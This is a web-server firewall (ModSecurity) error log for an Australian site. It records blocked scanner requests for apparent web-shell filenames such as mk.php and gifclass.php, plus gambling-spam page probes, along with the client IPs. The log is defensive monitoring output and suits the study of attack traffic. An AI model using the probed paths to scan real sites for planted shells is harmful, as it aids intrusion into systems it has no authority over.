[Fri Apr 24 06:32:21.568425 2026] [:error] [pid 19200:tid 19222] [client 23.100.53.213:45387] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mk.php"] [unique_id "aeqd9TQ--M3-tsKAnhGsbAAAAM4"]
[Fri Apr 24 06:32:23.090611 2026] [:error] [pid 19102:tid 19178] [client 23.100.53.213:47535] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mk.php"] [unique_id "aeqd9wDSgrbLEZbkqD7QdgAAAI4"]
[Fri Apr 24 06:32:24.160176 2026] [:error] [pid 52129:tid 52157] [client 23.100.53.213:14031] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mk.php"] [unique_id "aeqd-OKCZKf8_u2LKiB2WgAAARg"]
[Fri Apr 24 06:32:24.853125 2026] [:error] [pid 52129:tid 52136] [client 23.100.53.213:43665] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mk.php"] [unique_id "aeqd-OKCZKf8_u2LKiB2XQAAAQM"]
[Fri Apr 24 06:32:25.645280 2026] [:error] [pid 19200:tid 19227] [client 23.100.53.213:47853] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeqd-TQ--M3-tsKAnhGsdAAAANM"]
[Fri Apr 24 06:32:27.235148 2026] [:error] [pid 52129:tid 52146] [client 23.100.53.213:47837] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeqd--KCZKf8_u2LKiB2YQAAAQ0"]
[Fri Apr 24 06:32:28.152294 2026] [:error] [pid 19200:tid 19213] [client 23.100.53.213:10347] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeqd_DQ--M3-tsKAnhGseQAAAMU"]
[Fri Apr 24 06:32:29.040474 2026] [:error] [pid 19100:tid 19121] [client 23.100.53.213:41195] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "aeqd_bF_hzQs4CqbifcR5gAAAAs"]
[Fri Apr 24 06:32:30.180325 2026] [:error] [pid 19101:tid 19142] [client 23.100.53.213:42778] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "aeqd_mAHj9bEvrTgbO3XUQAAAEU"]
[Fri Apr 24 06:32:31.497122 2026] [:error] [pid 19100:tid 19118] [client 23.100.53.213:46319] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "aeqd_7F_hzQs4CqbifcR8AAAAAg"]
[Fri Apr 24 06:32:32.465484 2026] [:error] [pid 52129:tid 52155] [client 23.100.53.213:50661] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "aeqeAOKCZKf8_u2LKiB2ZQAAARY"]
[Fri Apr 24 06:32:33.438905 2026] [:error] [pid 19101:tid 19158] [client 23.100.53.213:48620] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "aeqeAWAHj9bEvrTgbO3XUwAAAFU"]
[Fri Apr 24 06:32:34.482470 2026] [:error] [pid 19200:tid 19213] [client 23.100.53.213:45558] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/retu11.PhP7"] [unique_id "aeqeAjQ--M3-tsKAnhGsiQAAAMU"]
[Fri Apr 24 06:34:45.829132 2026] [:error] [pid 19200:tid 19221] [client 23.100.53.213:10244] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeqehTQ--M3-tsKAnhGtOQAAAM0"]
[Fri Apr 24 06:34:46.719893 2026] [:error] [pid 19200:tid 19224] [client 23.100.53.213:41650] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeqehjQ--M3-tsKAnhGtRQAAANA"]
[Fri Apr 24 06:34:47.549546 2026] [:error] [pid 19101:tid 19150] [client 23.100.53.213:47473] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeqeh2AHj9bEvrTgbO3X3wAAAE0"]
[Fri Apr 24 06:34:48.408717 2026] [:error] [pid 19101:tid 19145] [client 23.100.53.213:46287] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeqeiGAHj9bEvrTgbO3X5QAAAEg"]
[Fri Apr 24 06:34:49.195806 2026] [:error] [pid 19100:tid 19118] [client 23.100.53.213:44379] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeqeibF_hzQs4CqbifcSUQAAAAg"]
[Fri Apr 24 06:34:49.936681 2026] [:error] [pid 52129:tid 52133] [client 23.100.53.213:49549] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeqeieKCZKf8_u2LKiB3rQAAAQA"]
[Fri Apr 24 06:34:50.949228 2026] [:error] [pid 52129:tid 52138] [client 23.100.53.213:47426] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeqeiuKCZKf8_u2LKiB3sQAAAQU"]
[Fri Apr 24 06:34:51.634345 2026] [:error] [pid 52129:tid 52150] [client 23.100.53.213:46073] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeqei-KCZKf8_u2LKiB3tQAAARE"]
[Fri Apr 24 06:34:52.440838 2026] [:error] [pid 19102:tid 19183] [client 23.100.53.213:13122] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/first.php"] [unique_id "aeqejADSgrbLEZbkqD7RVAAAAJM"]
[Fri Apr 24 06:34:52.983523 2026] [:error] [pid 52129:tid 52157] [client 23.100.53.213:43804] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/first.php"] [unique_id "aeqejOKCZKf8_u2LKiB3vAAAARg"]
[Fri Apr 24 06:34:53.793519 2026] [:error] [pid 52129:tid 52140] [client 23.100.53.213:37116] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/first.php"] [unique_id "aeqejeKCZKf8_u2LKiB3vQAAAQc"]
[Fri Apr 24 06:34:54.506012 2026] [:error] [pid 19101:tid 19141] [client 23.100.53.213:48592] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/first.php"] [unique_id "aeqejmAHj9bEvrTgbO3X7gAAAEQ"]
[Fri Apr 24 07:53:16.483349 2026] [:error] [pid 19200:tid 19211] [client 43.133.139.6:54860] [client 43.133.139.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeqw7DQ--M3-tsKAnhH3DAAAAMM"]
[Fri Apr 24 08:55:57.883754 2026] [:error] [pid 52129:tid 52136] [client 51.68.34.57:50344] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aeq_neKCZKf8_u2LKiAjmwAAAQM"]
[Fri Apr 24 08:56:00.398498 2026] [:error] [pid 19100:tid 19113] [client 51.68.34.57:38086] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aeq_oLF_hzQs4CqbifdZ1wAAAAQ"]
[Fri Apr 24 08:56:03.640553 2026] [:error] [pid 19200:tid 19209] [client 51.68.34.57:45324] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aeq_ozQ--M3-tsKAnhEmmAAAAME"]
[Fri Apr 24 08:56:06.600099 2026] [:error] [pid 19200:tid 19223] [client 51.68.34.57:45332] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aeq_pjQ--M3-tsKAnhEmmgAAAM8"]
[Fri Apr 24 08:56:09.534386 2026] [:error] [pid 19200:tid 19226] [client 51.68.34.57:45342] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aeq_qTQ--M3-tsKAnhEmpwAAANI"]
[Fri Apr 24 08:56:12.744311 2026] [:error] [pid 19200:tid 19215] [client 51.68.34.57:59954] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aeq_rDQ--M3-tsKAnhEmtwAAAMc"]
[Fri Apr 24 08:56:15.909249 2026] [:error] [pid 19200:tid 19218] [client 51.68.34.57:59958] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aeq_rzQ--M3-tsKAnhEm0wAAAMo"]
[Fri Apr 24 08:56:19.502798 2026] [:error] [pid 19100:tid 19115] [client 51.68.34.57:59970] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aeq_s7F_hzQs4CqbifdaDAAAAAY"]
[Fri Apr 24 08:56:22.065992 2026] [:error] [pid 19102:tid 19180] [client 51.68.34.57:45406] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aeq_tgDSgrbLEZbkqD4yJgAAAJA"]
[Fri Apr 24 08:56:25.046637 2026] [:error] [pid 19102:tid 19186] [client 51.68.34.57:45408] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeq_uQDSgrbLEZbkqD4yLAAAAJY"]
[Fri Apr 24 08:56:27.627621 2026] [:error] [pid 52129:tid 52155] [client 51.68.34.57:45422] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeq_u-KCZKf8_u2LKiAkogAAARY"]
[Fri Apr 24 08:56:31.166555 2026] [:error] [pid 19102:tid 19183] [client 51.68.34.57:45424] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeq_vwDSgrbLEZbkqD4yNQAAAJM"]
[Fri Apr 24 08:56:33.980061 2026] [:error] [pid 52129:tid 52154] [client 51.68.34.57:52804] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeq_weKCZKf8_u2LKiAkqwAAARU"]
[Fri Apr 24 08:56:37.447175 2026] [:error] [pid 19101:tid 19146] [client 51.68.34.57:52814] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeq_xWAHj9bEvrTgbO0llQAAAEk"]
[Fri Apr 24 08:56:40.859446 2026] [:error] [pid 19102:tid 19170] [client 51.68.34.57:52830] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeq_yADSgrbLEZbkqD4ySQAAAIY"]
[Fri Apr 24 08:56:43.861635 2026] [:error] [pid 19200:tid 19229] [client 51.68.34.57:56220] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeq_yzQ--M3-tsKAnhEoBAAAANU"]
[Fri Apr 24 08:56:47.227506 2026] [:error] [pid 19200:tid 19225] [client 51.68.34.57:56224] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeq_zzQ--M3-tsKAnhEoDQAAANE"]
[Fri Apr 24 08:56:50.046553 2026] [:error] [pid 19200:tid 19212] [client 51.68.34.57:56228] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeq_0jQ--M3-tsKAnhEoEAAAAMQ"]
[Fri Apr 24 08:56:52.896550 2026] [:error] [pid 19101:tid 19156] [client 51.68.34.57:40660] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeq_1GAHj9bEvrTgbO0lrgAAAFM"]
[Fri Apr 24 08:59:08.608630 2026] [:error] [pid 19102:tid 19185] [client 51.68.34.57:49202] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aerAXADSgrbLEZbkqD4zjwAAAJU"]
[Fri Apr 24 08:59:11.440843 2026] [:error] [pid 52129:tid 52154] [client 51.68.34.57:52354] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aerAX-KCZKf8_u2LKiAnRQAAARU"]
[Fri Apr 24 08:59:15.163689 2026] [:error] [pid 19101:tid 19140] [client 51.68.34.57:33766] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aerAY2AHj9bEvrTgbO0mmAAAAEM"]
[Fri Apr 24 08:59:17.816180 2026] [:error] [pid 19100:tid 19121] [client 51.68.34.57:33780] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aerAZbF_hzQs4CqbifdbhQAAAAs"]
[Fri Apr 24 08:59:20.848124 2026] [:error] [pid 19100:tid 19130] [client 51.68.34.57:33788] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aerAaLF_hzQs4CqbifdbjwAAABQ"]
[Fri Apr 24 08:59:23.636534 2026] [:error] [pid 19200:tid 19219] [client 51.68.34.57:54220] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aerAazQ--M3-tsKAnhEqIQAAAMs"]
[Fri Apr 24 08:59:26.013526 2026] [:error] [pid 52129:tid 52156] [client 51.68.34.57:54224] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aerAbuKCZKf8_u2LKiAnawAAARc"]
[Fri Apr 24 08:59:28.664663 2026] [:error] [pid 19100:tid 19115] [client 51.68.34.57:54240] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aerAcLF_hzQs4CqbifdboQAAAAY"]
[Fri Apr 24 08:59:31.450414 2026] [:error] [pid 52129:tid 52148] [client 51.68.34.57:54242] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aerAc-KCZKf8_u2LKiAnkQAAAQ8"]
[Fri Apr 24 08:59:34.014938 2026] [:error] [pid 19200:tid 19212] [client 51.68.34.57:57386] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aerAdjQ--M3-tsKAnhEqNgAAAMQ"]
